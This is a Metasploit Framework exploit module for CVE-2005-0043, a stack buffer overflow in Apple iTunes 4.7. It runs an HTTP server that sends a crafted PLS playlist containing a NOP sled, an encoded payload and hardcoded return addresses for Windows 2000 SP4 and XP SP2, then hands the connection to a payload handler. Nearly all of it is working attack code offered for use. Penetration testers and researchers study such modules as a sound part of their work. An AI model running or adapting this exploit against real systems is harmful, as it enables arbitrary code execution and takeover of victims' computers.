Apple ITunes 4.7 Playlist Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple ITunes 4.7 Playlist Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Apple ITunes 4.7  
build 4.7.0.42. By creating a URL link to a malicious PLS  
file, a remote attacker could overflow a buffer and execute  
arbitrary code. When using this module, be sure to set the   
URIPATH with an extension of '.pls'.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2005-0043' ],  
[ 'OSVDB', '12833' ],  
[ 'BID', '12238' ],  
],  
  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro English SP4', { 'Ret' => 0x75033083 } ],  
[ 'Windows XP Pro English SP2', { 'Ret' => 0x77dc2063 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jan 11 2005',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
cruft = rand(9).to_s  
  
sploit = make_nops(2545) + payload.encoded + [target.ret].pack('V')   
  
# Build the HTML content  
content = "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n"   
content << "File#{cruft}=http://#{sploit}"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`